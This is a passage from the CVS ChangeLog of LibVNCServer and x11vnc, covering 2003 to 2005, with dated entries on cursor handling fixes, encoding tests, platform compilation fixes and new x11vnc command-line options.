6550 debug message purged
6551
65522005-01-20 dscho <dscho>
6553
6554 * libvncserver/cursor.c, libvncserver/main.c,
6555 libvncserver/rfbserver.c: fix disappearing cursor
6556
65572005-01-19 dscho <dscho>
6558
6559 * libvncserver/cursor.c: redraw region under old cursor even if the
6560 old cursor doesn't have to be freed.
6561
65622005-01-19 dscho <dscho>
6563
6564 * TODO: a granted wish has several children ;-)
6565
65662005-01-19 dscho <dscho>
6567
6568 * test/encodingstest.c: fix test (don't show cursor...); correctly
6569 set the encodings in the client; really test 20 seconds
6570
65712005-01-19 dscho <dscho>
6572
6573 * libvncserver/cursor.c: oops, a debug message slipped through
6574
65752005-01-18 dscho <dscho>
6576
6577 * ChangeLog, contrib/zippy.c, examples/example.c,
6578 libvncserver/cursor.c, libvncserver/main.c,
6579 libvncserver/rfbserver.c, libvncserver/selbox.c, rfb/rfb.h,
6580 vncterm/VNConsole.c, x11vnc/x11vnc.c: pointerClient was still
6581 static. do not make requestedRegion empty without reason. the cursor handling for clients which don't handle CursorShape
6582 updates was completely broken. It originally was very complicated
6583 for performance reasons, however, in most cases it made performance
6584 even worse, because at idle times there was way too much checking
6585 going on, and furthermore, sometimes unnecessary updates were
6586 inevitable. The code now is much more elegant: the ClientRec structure knows
6587 exactly where it last painted the cursor, and the ScreenInfo
6588 structure knows where the cursor shall be. As a consequence there is no more rfbDrawCursor()/rfbUndrawCursor(),
6589 no more dontSendFramebufferUpdate, and no more isCursorDrawn. It is
6590 now possible to have clients which understand CursorShape updates
6591 and clients which don't at the same time. rfbSetCursor no longer has the option freeOld; this is obsolete, as
6592 the cursor structure knows what to free and what not.
6593
65942005-01-18 dscho <dscho>
6595
6596 * libvncserver/rfbregion.c, rfb/rfbregion.h: add convenience
6597 function to clip using x2,y2 instead of w,h
6598
65992005-01-18 dscho <dscho>
6600
6601 * test/Makefile.am, test/cursortest.c: add a cursor test
6602 (interactive for now)
6603
66042005-01-18 dscho <dscho>
6605
6606 * VisualNaCro/.cvsignore: more ignorance
6607
66082005-01-17 dscho <dscho>
6609
6610 * index.html: LibVNCClient is included
6611
66122005-01-17 dscho <dscho>
6613
6614 * index.html: alpha cursor and VisualNaCro news
6615
66162005-01-16 dscho <dscho>
6617
6618 * VisualNaCro/.cvsignore: ignore generated files
6619
66202005-01-16 runge <runge>
6621
6622 * ChangeLog, libvncserver/cursor.c, rfb/rfb.h, x11vnc/ChangeLog,
6623 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6624 x11vnc/x11vnc.c: add cursor alphablending to rfb.h cursor.c, x11vnc -alphablend
6625 -snapfb etc..
6626
66272005-01-14 dscho <dscho>
6628
6629 * VisualNaCro/Makefile.am, VisualNaCro/default8x16.h,
6630 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl:
6631 fix most TODOs; recorder.pl now actually records something; add
6632 nacro.pm to package
6633
66342005-01-14 dscho <dscho>
6635
6636 * examples/example.c: reverted segfault fix; use rfbDrawCharWithClip
6637
66382005-01-14 dscho <dscho>
6639
6640 * libvncserver/font.c: add comment "if col=bcol, assume background
6641 is transparent"
6642
66432005-01-14 dscho <dscho>
6644
6645 * libvncserver/main.c: fix comment
6646
66472005-01-14 dscho <dscho>
6648
6649 * libvncserver/rfbserver.c: close socket in ClientConnectionGone
6650
66512005-01-14 dscho <dscho>
6652
6653 * configure.ac: new version...
6654
66552005-01-14 dscho <dscho>
6656
6657 * VisualNaCro/AUTHORS, VisualNaCro/ChangeLog,
6658 VisualNaCro/Makefile.am, VisualNaCro/NEWS, VisualNaCro/README,
6659 VisualNaCro/autogen.sh, VisualNaCro/configure.ac,
6660 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl:
6661 VisualNacro, a visual macro recorder for VNC. Alpha version
6662
66632005-01-14 dscho <dscho>
6664
6665 * libvncserver/main.c, rfb/rfb.h: return value of rfbProcessEvents
6666 tells if an update was pending
6667
66682005-01-14 dscho <dscho>
6669
6670 * libvncserver/font.c: fix segfault when trying to write outside of
6671 frameBuffer
6672
66732005-01-14 dscho <dscho>
6674
6675 * libvncclient/vncviewer.c: argc and argv may be zero (which means
6676 to ignore them)
6677
66782005-01-03 dscho <dscho>
6679
6680 * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: add hook
6681 to allow for custom client messages
6682
66832004-12-27 runge <runge>
6684
6685 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6686 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: improve XFIXES cursor transparency, more remote-control
6687 cmds.
6688
66892004-12-23 runge <runge>
6690
6691 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
6692
66932004-12-23 runge <runge>
6694
6695 * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
6696
66972004-12-23 runge <runge>
6698
6699 * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
6700
67012004-12-23 runge <runge>
6702
6703 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
6704 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6705 x11vnc/x11vnc.c: x11vnc: minor tweaks for x11vnc 0.7 file release
6706
67072004-12-20 dscho <dscho>
6708
6709 * index.html: Ooh, I'm lazy. Some news were added retroactively.
6710
67112004-12-20 dscho <dscho>
6712
6713 * ChangeLog, configure.ac, index.html: released 0.7
6714
67152004-12-20 dscho <dscho>
6716
6717 * examples/mac.c: compile fix on mac; still untested...
6718
67192004-12-20 dscho <dscho>
6720
6721 * test/Makefile.am: fix for MinGW
6722
67232004-12-20 runge <runge>
6724
6725 * x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
6726 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: minor tweaks for 0.7 file release
6727
67282004-12-20 runge <runge>
6729
6730 * ChangeLog, libvncserver/cursor.c, x11vnc/ChangeLog,
6731 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6732 x11vnc/x11vnc.c: x11vnc: synchronous mode for -remote, string cleanup
6733
67342004-12-17 dscho <dscho>
6735
6736 * libvncserver/cursor.c: don't mix up width & height!
6737
67382004-12-17 runge <runge>
6739
6740 * ChangeLog, test/encodingstest.c, x11vnc/ChangeLog, x11vnc/README,
6741 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6742 x11vnc/x11vnc.c: x11vnc: XFIXES cursorshape, XRANDR resize, remote control, gui
6743
67442004-12-01 dscho <dscho>
6745
6746 * rfb/rfb.h: fix compilation on non MinGW32...
6747
67482004-12-01 dscho <dscho>
6749
6750 * ChangeLog, TODO, client_examples/Makefile.am,
6751 client_examples/SDLvncviewer.c, configure.ac, contrib/Makefile.am,
6752 examples/Makefile.am, examples/vncev.c, libvncclient/listen.c,
6753 libvncclient/rfbproto.c, libvncclient/sockets.c,
6754 libvncclient/vncviewer.c, libvncserver-config.in,
6755 libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c,
6756 rfb/rfb.h, rfb/rfbproto.h, test/Makefile.am, vncterm/Makefile.am,
6757 x11vnc/Makefile.am: support MinGW32!
6758
67592004-12-01 dscho <dscho>
6760
6761 * AUTHORS, libvncclient/listen.c, libvncclient/sockets.c,
6762 libvncclient/vncviewer.c: use rfbClientErr to log errors, check if
6763 calloc succeded (both hinted by Andre Leiradella)
6764
67652004-11-30 dscho <dscho>
6766
6767 * ChangeLog, libvncclient/sockets.c: fix long reads (in some events
6768 of success, no TRUE was returned)
6769
67702004-11-30 dscho <dscho>
6771
6772 * rfb/rfbproto.h: add EncodingUltra; it is not implemented in the
6773 libraries yet, so this is just a place holder
6774
67752004-10-16 dscho <dscho>
6776
6777 * TODO: TODOs from encodingstest
6778
67792004-10-16 dscho <dscho>
6780
6781 * test/.cvsignore: tight-1 -> encodingstest
6782
67832004-10-16 dscho <dscho>
6784
6785 * test/Makefile.am, test/encodingstest.c, test/tight-1.c: rename
6786 tight-1.c into encodingstest.c, fixing it in the process. It now
6787 passes all encodings except corre (broken) and zrle (not yet
6788 implemented in libvncclient)
6789
67902004-10-16 dscho <dscho>
6791
6792 * libvncclient/rfbproto.c, libvncclient/sockets.c,
6793 libvncclient/tight.c, libvncclient/vncviewer.c,
6794 libvncclient/zlib.c, rfb/rfbclient.h: move read buffer to rfbClient
6795 structure (thread safety); make rfbClientLog overrideable
6796
67972004-10-15 dscho <dscho>
6798
6799 * test/tight-1.c: compiles, 1st run is okay, 2nd and subsequent give
6800 errors. Evidently, libvncclient is not yet reentrant (or
6801 threadsafe).
6802
68032004-10-15 dscho <dscho>
6804
6805 * libvncclient/vncviewer.c: no need to modify argv
6806
68072004-10-15 dscho <dscho>
6808
6809 * TODO: ideas
6810
68112004-10-15 dscho <dscho>
6812
6813 * test/tight-1.c: compiling, non functional version of a unit test
6814 for encodings
6815
68162004-10-04 dscho <dscho>
6817
6818 * TODO: cursor problem
6819
68202004-10-02 dscho <dscho>
6821
6822 * libvncserver/rfbserver.c: release client list mutex earlier
6823
68242004-09-14 dscho <dscho>
6825
6826 * index.html, success.html: added success stories and link to
6827 x11vnc's home
6828
68292004-09-14 dscho <dscho>
6830
6831 * success.html: add success stories (only one at the moment)
6832
68332004-09-07 dscho <dscho>
6834
6835 * index.html: new API
6836
68372004-09-03 dscho <dscho>
6838
6839 * libvncserver/rfbregion.c: output only via rfbErr
6840
68412004-09-03 dscho <dscho>
6842
6843 * libvncserver-config.in: libvncserver.a is in libvncserver/ now
6844
68452004-09-01 runge <runge>
6846
6847 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
6848 x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: new pointer input handling algorithm; x11vnc pkg installs
6849 java viewer
6850
68512004-08-30 dscho <dscho>
6852
6853 * ChangeLog: API changes
6854
68552004-08-30 dscho <dscho>
6856
6857 * contrib/zippy.c, examples/colourmaptest.c, examples/example.c,
6858 examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c,
6859 examples/vncev.c, libvncclient/rfbproto.c, libvncserver/auth.c,
6860 libvncserver/cargs.c, libvncserver/corre.c, libvncserver/cursor.c,
6861 libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/font.c,
6862 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
6863 libvncserver/rfbserver.c, libvncserver/rre.c,
6864 libvncserver/selbox.c, libvncserver/sockets.c,
6865 libvncserver/stats.c, libvncserver/tight.c,
6866 libvncserver/translate.c, libvncserver/vncauth.c,
6867 libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h,
6868 rfb/rfbproto.h, test/cargstest.c, test/copyrecttest.c,
6869 vncterm/LinuxVNC.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
6870 x11vnc/x11vnc.c: global structures/functions should have "rfb",
6871 "sra" or "zrle" as prefix, while structure members should not
6872
68732004-08-30 dscho <dscho>
6874
6875 * client_examples/Makefile.am: my ffmpeg was compiled with
6876 mp3lame...
6877
68782004-08-30 runge <runge>
6879
6880 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6881 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -cursor change shape handling, configure.ac: add more
6882 macros for X extensions
6883
68842004-08-17 dscho <dscho>
6885
6886 * index.html: news: QEMU patch v6
6887
68882004-08-15 runge <runge>
6889
6890 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
6891 x11vnc/x11vnc.c: x11vnc: -overlay to fix colors with Sun 8+24 overlay visuals. -sid
6892 option.
6893
68942004-08-04 runge <runge>
6895
6896 * x11vnc/README, x11vnc/x11vnc.1: fix XKBlib.h detection on *BSD, x11vnc: manpage and README
6897
68982004-08-04 runge <runge>
6899
6900 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh,
6901 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c: fix XKBlib.h detection on *BSD, x11vnc: manpage and README
6902
69032004-07-31 runge <runge>
6904
6905 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: adjust version number and output
6906
69072004-07-31 runge <runge>
6908
6909 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -cursorpos now the default, fix cursorpos + scaling bug.
6910
69112004-07-29 runge <runge>
6912
6913 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -add_keysyms dynamically add missing keysyms to X server
6914
69152004-07-27 runge <runge>
6916
6917 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -xkb (XKEYBOARD modtweak), -skip_keycodes, multi lines in
6918 x11vncrc
6919
69202004-07-19 runge <runge>
6921
6922 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: ignore keysyms >4 for a keycode, add lastmod to -help,
6923 -version
6924
69252004-07-16 runge <runge>
6926
6927 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/x11vnc.c: modtweak is now the default for x11vnc; check X11/XKBlib.h in
6928 configure.ac
6929
69302004-07-11 runge <runge>
6931
6932 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -norepeat to turn off X server autorepeat when clients
6933 exist.
6934
69352004-07-05 runge <runge>
6936
6937 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: extend -allow to re-read a file with allowed IP addresses.
6938
69392004-07-02 runge <runge>
6940
6941 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: improve scaled grid calc to regain text compression. add
6942 :pad option
6943
69442004-06-30 dscho <dscho>
6945
6946 * libvncclient/vncviewer.c: do not use GNU-only getline
6947
69482004-06-28 runge <runge>
6949
6950 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: round scaled width to multiple of 4 to make vncviewer
6951 happy.
6952
69532004-06-27 runge <runge>
6954
6955 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: speed up scaling a bit, add no blending option to -scale
6956
69572004-06-26 runge <runge>
6958
6959 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: add "-scale fraction" for global server-side scaling.
6960
69612004-06-18 dscho <dscho>
6962
6963 * libvncserver/zrleencodetemplate.c, test/tight-1.c,
6964 vncterm/LinuxVNC.c, vncterm/VNCommand.c, vncterm/VNConsole.c,
6965 vncterm/example.c: convert c++ comments to c comments
6966
69672004-06-18 dscho <dscho>
6968
6969 * libvncserver/sockets.c: debug
6970
69712004-06-18 dscho <dscho>
6972
6973 * client_examples/SDLvncviewer.c: cleanups; libvncclient supports
6974 -encodings already
6975
69762004-06-18 dscho <dscho>
6977
6978 * client_examples/vnc2mpg.c: cleanups; support vncrec'orded files as
6979 input
6980
69812004-06-18 dscho <dscho>
6982
6983 * examples/example.c, examples/pnmshow.c, examples/pnmshow24.c: now
6984 that the examples reside in a subdirectory, the classes path has to
6985 be adapted
6986
69872004-06-18 dscho <dscho>
6988
6989 * rfb/rfbclient.h: more comments; support playing vncrec'orded files
6990
69912004-06-18 dscho <dscho>
6992
6993 * libvncclient/rfbproto.c, libvncclient/sockets.c,
6994 libvncclient/vncviewer.c: support password reading with getpass();
6995 support -play to play vncrec'orded files
6996
69972004-06-17 runge <runge>
6998
6999 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: simple ~/.x11vncrc config file support, -rc, -norc
7000
70012004-06-15 dscho <dscho>
7002
7003 * TODO: fixed
7004
70052004-06-15 dscho <dscho>
7006
7007 * libvncclient/hextile.c: fix silly hextile bug
7008
70092004-06-15 dscho <dscho>
7010
7011 * libvncclient/rfbproto.c: recognize more encodings
7012
70132004-06-15 dscho <dscho>
7014
7015 * libvncclient/sockets.c: debug
7016
70172004-06-15 dscho <dscho>
7018
7019 * libvncserver/rfbserver.c: fix CoRRE with maxRectsPerUpdate bug
7020
70212004-06-15 dscho <dscho>
7022
7023 * libvncclient/rfbproto.c: fix silly update bug with raw encoding
7024
70252004-06-12 runge <runge>
7026
7027 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -clear_mods -clear_keys -storepasswd, add RFB_SERVER_IP
7028 RFB_SERVER_PORT to -accept/-gone
7029
70302004-06-08 dscho <dscho>
7031
7032 * client_examples/Makefile.am, configure.ac: fix compilation on IRIX
7033
70342004-06-08 dscho <dscho>
7035
7036 * configure.ac: fix test for sdl
7037
70382004-06-08 dscho <dscho>
7039
7040 * client_examples/SDLvncviewer.c: fix compilation on MacOSX
7041
70422004-06-07 dscho <dscho>
7043
7044 * index.html: layout and wording fix
7045
70462004-06-07 dscho <dscho>
7047
7048 * index.html: more news
7049
70502004-06-07 dscho <dscho>
7051
7052 * .cvsignore, prepare_x11vnc_dist.sh: now that it is released,
7053 increment x11vnc's version
7054
70552004-06-07 dscho <dscho>
7056
7057 * .cvsignore, client_examples/.cvsignore, libvncclient/.cvsignore,
7058 libvncserver/.cvsignore, test/.cvsignore, x11vnc/.cvsignore: all
7059 this moving and renaming needs changes in the cvsignores, too!
7060
70612004-06-07 dscho <dscho>
7062
7063 * LibVNCServer.spec.in, Makefile.am, libvncserver.spec.in,
7064 prepare_x11vnc_dist.sh: fix bug 968264: make rpm did not work with
7065 x11vnc package
7066
70672004-06-07 dscho <dscho>
7068
7069 * client_examples/Makefile.am, client_examples/vnc2mpg.c,
7070 configure.ac: add vnc2mpg, a program which makes a movie from a VNC
7071 desktop using FFMPEG
7072
70732004-06-07 dscho <dscho>
7074
7075 * TODO, client_examples/SDLvncviewer.c: added -encodings
7076
70772004-06-07 dscho <dscho>
7078
7079 * ChangeLog, TODO, libvncserver/cursor.c, rfb/rfb.h: fix cursor
7080 trails (when not using cursor encoding and moving the cursor, the
7081 redrawn part of the screen didn't get updated, and so left cursor
7082 trails).
7083
70842004-06-07 dscho <dscho>
7085
7086 * client_examples/SDLvncviewer.c: add mouse button handling
7087
70882004-06-07 dscho <dscho>
7089
7090 * ChangeLog, Makefile.am, TODO, client_examples/Makefile.am,
7091 client_examples/SDLvncviewer.c, client_examples/ppmtest.c,
7092 configure.ac, contrib/Makefile.am, examples/Makefile.am,
7093 examples/blooptest.c, examples/copyrecttest.c,
7094 libvncclient/Makefile.am, libvncclient/client_test.c,
7095 libvncclient/sockets.c, libvncclient/vncviewer.c,
7096 libvncserver/Makefile.am, prepare_x11vnc_dist.sh, rfb/rfbclient.h,
7097 test/Makefile.am, test/blooptest.c, test/copyrecttest.c,
7098 test/tight-1.c, x11vnc/Makefile.am: add client_examples/, add
7099 SDLvncviewer, libvncclient API changes, suppress automake CFLAGS
7100 nagging
7101
71022004-06-06 runge <runge>
7103
7104 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: rearrange file for easier maintenance, add RFB_CLIENT_COUNT
7105 to -accept/-gone
7106
71072004-05-28 runge <runge>
7108
7109 * x11vnc/x11vnc.c: [no log message]
7110
71112004-05-27 runge <runge>
7112
7113 * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c,
7114 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: view-only plain passwd: -viewpasswd and 2nd line of
7115 -passwdfile
7116
71172004-05-25 dscho <dscho>
7118
7119 * prepare_x11vnc_dist.sh: a script which automatically converts a
7120 few files to make an x11vnc release
7121
71222004-05-25 dscho <dscho>
7123
7124 * configure.ac: -lvncserver is not default now
7125
71262004-05-25 dscho <dscho>
7127
7128 * ChangeLog, Makefile.am, auth.c, cargs.c, configure.ac,
7129 contrib/ChangeLog, contrib/Makefile.am, contrib/x11vnc.c, corre.c,
7130 cursor.c, cutpaste.c, d3des.c, d3des.h, draw.c,
7131 examples/Makefile.am, examples/regiontest.c, font.c, hextile.c,
7132 httpd.c, libvncclient/rfbproto.c, libvncserver/Makefile.am,
7133 libvncserver/auth.c, libvncserver/cargs.c, libvncserver/config.h,
7134 libvncserver/corre.c, libvncserver/cursor.c,
7135 libvncserver/cutpaste.c, libvncserver/d3des.c,
7136 libvncserver/d3des.h, libvncserver/draw.c, libvncserver/font.c,
7137 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
7138 libvncserver/rfbconfig.h, libvncserver/rfbregion.c,
7139 libvncserver/rfbserver.c, libvncserver/rre.c,
7140 libvncserver/selbox.c, libvncserver/sockets.c,
7141 libvncserver/stats.c, libvncserver/tableinit24.c,
7142 libvncserver/tableinitcmtemplate.c,
7143 libvncserver/tableinittctemplate.c,
7144 libvncserver/tabletrans24template.c,
7145 libvncserver/tabletranstemplate.c, libvncserver/tight.c,
7146 libvncserver/translate.c, libvncserver/vncauth.c,
7147 libvncserver/zlib.c, libvncserver/zrle.c,
7148 libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c,
7149 libvncserver/zrleoutstream.h, libvncserver/zrlepalettehelper.c,
7150 libvncserver/zrlepalettehelper.h, libvncserver/zrletypes.h, main.c,
7151 rfbregion.c, rfbserver.c, rre.c, selbox.c, sockets.c, stats.c,
7152 tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c,
7153 tabletrans24template.c, tabletranstemplate.c, test/Makefile.am,
7154 tight.c, translate.c, vncauth.c, vncterm/Makefile.am,
7155 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c, zlib.c,
7156 zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
7157 zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: move the
7158 library into libvncserver/, x11vnc into x11vnc/
7159
71602004-05-22 runge <runge>
7161
7162 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c, httpd.c: x11vnc: -gone, -passwdfile, -o logfile; add view-only to -accept
7163
71642004-05-14 runge <runge>
7165
7166 * contrib/x11vnc.c: x11vnc: more -inetd fixes.
7167
71682004-05-14 runge <runge>
7169
7170 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: less fprintf under -q so '-q -inetd' has no stderr output.
7171
71722004-05-13 runge <runge>
7173
7174 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: improvements to -accept popup: yes/no buttons and timeout.
7175
71762004-05-08 runge <runge>
7177
7178 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: clean up -Wall warnings.
7179
71802004-05-08 runge <runge>
7181
7182 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -accept some-command/xmessage/popup
7183
71842004-05-06 runge <runge>
7185
7186 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: mouse -> keystroke and keystroke -> mouse remappings.
7187
71882004-05-05 dscho <dscho>
7189
7190 * rfbserver.c, sockets.c: prevent segmentation fault when requested
7191 area is too big; if select is interrupted while WriteExact, just try
7192 again.
7193
71942004-04-28 runge <runge>
7195
7196 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -auth, more -cursorpos and -nofb work
7197
71982004-04-20 runge <runge>
7199
7200 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -cursorpos for Cursor Position Updates, and -sigpipe
7201
72022004-04-19 dscho <dscho>
7203
7204 * main.c: ignore SIGPIPE the correct way
7205
72062004-04-13 runge <runge>
7207
7208 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: do not send selection unless all clients are in RFB_NORMAL
7209 state. increase rfbMaxClientWait when threaded to avoid
7210 ReadExact() timeouts for some viewers.
7211
72122004-04-12 dscho <dscho>
7213
7214 * configure.ac: fix compilation without jpeg and a certain autoconf
7215 version
7216
72172004-04-08 runge <runge>
7218
7219 * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -blackout, -xinerama, -xwarppointer. check cargs. modify configure.ac to pick up -lXinerama
7220
72212004-03-24 dscho <dscho>
7222
7223 * examples/pnmshow.c: add support for pgm and pbm (8-bit and 1-bit
7224 grayscale images)
7225
72262004-03-22 dscho <dscho>
7227
7228 * ChangeLog, cargs.c, test/Makefile.am, test/cargstest.c: fix
7229 cargs.c: arguments were not correctly purged.
7230
72312004-03-15 dscho <dscho>
7232
7233 * ChangeLog, libvncserver-config.in: fix --link for
7234 libvncserver-config
7235
72362004-03-11 runge <runge>
7237
7238 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -vncconnect, -connect, -remap, -debug_pointer, and -debug_keyboard add reverse connections, keysym remapping, and debug output option
7239
72402004-02-29 dscho <dscho>
7241
7242 * index.html: link to pre.tar.gz, mention valgrind
7243
72442004-02-29 dscho <dscho>
7245
7246 * index.html: update on news
7247
72482004-02-29 dscho <dscho>
7249
7250 * ChangeLog, rfbregion.c: fixed valgrind warning
7251
72522004-02-20 runge <runge>
7253
7254 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -nosel -noprimary -visual. add clipboard/selection handling. add visual option (mostly for testing and workarounds). improve shm cleanup on failures.
7255
72562004-02-04 dscho <dscho>
7257
7258 * AUTHORS, ChangeLog, examples/colourmaptest.c,
7259 examples/copyrecttest.c, examples/example.c, examples/simple.c,
7260 examples/simple15.c, examples/vncev.c: make examples g++
7261 compileable, thanks to Juan Jose Costello
7262
72632004-01-30 dscho <dscho>
7264
7265 * ChangeLog, rfbserver.c: memory leaks fixed
7266
72672004-01-29 dscho <dscho>
7268
7269 * ChangeLog, Makefile.am, configure.ac, tight.c, zlib.c, zrle.c,
7270 zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
7271 zrlepalettehelper.c, zrlepalettehelper.h: Honour the check for libz,
7272 libjpeg again
7273
72742004-01-21 dscho <dscho>
7275
7276 * ChangeLog, cargs.c, main.c, rfb/rfb.h, rfbserver.c: add
7277 "-progressive height" option to make SendFramebufferUpdate
7278 "preemptive"
7279
72802004-01-21 dscho <dscho>
7281
7282 * ChangeLog: update
7283
72842004-01-21 dscho <dscho>
7285
7286 * examples/.cvsignore: ignore all test programs
7287
72882004-01-21 dscho <dscho>
7289
7290 * examples/Makefile.am, examples/copyrecttest.c: add a simple
7291 example how to use rfbDoCopyRect
7292
72932004-01-21 dscho <dscho>
7294
7295 * main.c, rfb/rfb.h: ignore SIGPIPE by default; it is handled via
7296 EPIPE
7297
72982004-01-21 dscho <dscho>
7299
7300 * cursor.c: do not send unnecessary updated because of cursor
7301 drawing
7302
73032004-01-19 runge <runge>
7304
7305 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: handle mouse button number mismatch improved pointer input handling during drags, etc. somewhat faster copy_tiles() -> copy_tiles() x11vnc options -buttonmap -old_pointer -old_copytile
7306
73072004-01-19 dscho <dscho>
7308
7309 * configure.ac: 0.6 is out... version is 0.7pre now
7310
73112004-01-19 dscho <dscho>
7312
7313 * vncterm/Makefile.am: inherit CFLAGS
7314
73152004-01-19 dscho <dscho>
7316
7317 * vncterm/VNConsole.c: fix usage of non-existent attribute buffer
7318
73192004-01-16 dscho <dscho>
7320
7321 * ChangeLog, cargs.c, configure.ac, contrib/Makefile.am,
7322 rfbserver.c, vncauth.c: compile fix for cygwin
7323
73242004-01-10 runge <runge>
7325
7326 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -allow, -localhost, -nodragging, -input_skip minimize memory usage under -nofb
7327
73282003-12-09 dscho <dscho>
7329
7330 * libvncclient/hextile.c: fix compilation with Mac OSX: preprocessor
7331 can't do recursive macros
7332
73332003-12-09 runge <runge>
7334
7335 * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c:
7336 x11vnc: XBell events, -nofb, -notruecolor, misc. cleaning
7337
73382003-11-27 dscho <dscho>
7339
7340 * index.html: fixed link
7341
73422003-11-11 dscho <dscho>
7343
7344 * ChangeLog, contrib/x11vnc.c: -inetd, -noshm and friends added
7345
73462003-11-07 dscho <dscho>
7347
7348 * ChangeLog, README.cvs, configure.ac: release 0.6
7349
73502003-10-08 dscho <dscho>
7351
7352 * zrle.c: fix gcc 2.x compilation: no C99
7353
73542003-09-11 markmc <markmc>
7355
7356 * ChangeLog, Makefile.in, aclocal.m4, bootstrap.sh,
7357 classes/.cvsignore, classes/Makefile.in, config.h.in, configure,
7358 contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh,
7359 libvncclient/Makefile.in, missing, mkinstalldirs, test/.cvsignore,
7360 test/Makefile.in, vncterm/Makefile.in: 2002-09-11 Mark McLoughlin
7361 <mark@skynet.ie> * Makefile.in, */Makefile.in, aclocal.m4, bootstrap.sh, config.h.in, configure, depcomp, install-sh, missing, mkinstalldirs, Removed auto-generated files from CVS.
7362
73632003-09-11 markmc <markmc>
7364
7365 * ChangeLog, NEWS, rdr/Exception.h, rdr/FdInStream.cxx,
7366 rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h,
7367 rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h,
7368 rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx,
7369 rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx,
7370 rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h,
7371 rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: 2003-09-11 Mark
